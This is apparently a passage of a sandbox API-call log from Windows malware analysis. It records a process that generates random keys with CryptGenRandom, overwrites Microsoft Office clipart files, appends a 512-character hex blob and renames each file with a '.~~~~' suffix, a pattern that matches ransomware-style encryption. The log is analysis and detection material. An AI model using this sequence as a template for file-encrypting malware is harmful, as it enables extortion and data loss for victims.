	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39c970
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c970 | out: hHeap=0x300000) returned 1
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864b98
	[0100.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.543] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.543] GetLastError () returned 0x0
	[0100.544] GetLastError () returned 0x0
	[0100.544] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.544] GetLastError () returned 0x0
	[0100.544] GetLastError () returned 0x0
	[0100.581] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff8d22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.582] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x72de, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x72de, lpOverlapped=0x0) returned 1
	[0100.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.583] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.583] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.583] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.583] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.584] CloseHandle (hObject=0xc4) returned 1
	[0100.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.584] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.~~~~")) returned 1
	[0100.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.585] GetLastError () returned 0x0
	[0100.585] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.586] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.587] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22057671208) returned 1
	[0100.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5a3e630, dwHighDateTime=0x1d60e1e)) 
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862d40
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862d40 | out: hHeap=0x300000) returned 1
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864df8
	[0100.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.587] GetLastError () returned 0x0
	[0100.588] GetLastError () returned 0x0
	[0100.588] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.588] GetLastError () returned 0x0
	[0100.588] GetLastError () returned 0x0
	[0100.647] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc778, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.647] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x3888, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x3888, lpOverlapped=0x0) returned 1
	[0100.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.649] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.649] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.649] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.649] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.649] CloseHandle (hObject=0xc4) returned 1
	[0100.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.~~~~")) returned 1
	[0100.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.651] GetLastError () returned 0x0
	[0100.651] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.652] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.652] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22064256700) returned 1
	[0100.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5ad6bb0, dwHighDateTime=0x1d60e1e)) 
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862db0
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862db0 | out: hHeap=0x300000) returned 1
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864fc0
	[0100.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.653] GetLastError () returned 0x0
	[0100.654] GetLastError () returned 0x0
	[0100.654] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.654] GetLastError () returned 0x0
	[0100.654] GetLastError () returned 0x0
	[0100.699] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe2e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.699] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1d18, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1d18, lpOverlapped=0x0) returned 1
	[0100.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.701] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.701] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.701] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.701] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.701] CloseHandle (hObject=0xc4) returned 1
	[0100.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.~~~~")) returned 1
	[0100.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.702] GetLastError () returned 0x0
	[0100.703] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.704] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.704] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.704] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22069424821) returned 1
	[0100.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5b48fd0, dwHighDateTime=0x1d60e1e)) 
	[0100.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862e90
	[0100.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862e90 | out: hHeap=0x300000) returned 1
	[0100.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28650f0
	[0100.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.705] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.705] GetLastError () returned 0x0
	[0100.705] GetLastError () returned 0x0
	[0100.705] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.705] GetLastError () returned 0x0
	[0100.705] GetLastError () returned 0x0
	[0100.735] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd9f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.735] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x2608, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x2608, lpOverlapped=0x0) returned 1
	[0100.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.736] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.736] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.736] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.736] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.736] CloseHandle (hObject=0xc4) returned 1
	[0100.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.~~~~")) returned 1
	[0100.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.739] GetLastError () returned 0x0
	[0100.741] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.742] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.742] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.742] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22073227390) returned 1
	[0100.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5bbb3f0, dwHighDateTime=0x1d60e1e)) 
	[0100.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862f70
	[0100.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862f70 | out: hHeap=0x300000) returned 1
	[0100.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865350
	[0100.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.743] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.744] GetLastError () returned 0x0
	[0100.744] GetLastError () returned 0x0
	[0100.744] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.744] GetLastError () returned 0x0
	[0100.744] GetLastError () returned 0x0
	[0100.751] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc728, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.751] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x38d8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x38d8, lpOverlapped=0x0) returned 1
	[0100.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.752] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.752] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.752] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.752] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.752] CloseHandle (hObject=0xc4) returned 1
	[0100.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.~~~~")) returned 1
	[0100.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.753] GetLastError () returned 0x0
	[0100.755] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.756] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.756] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.756] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22074603370) returned 1
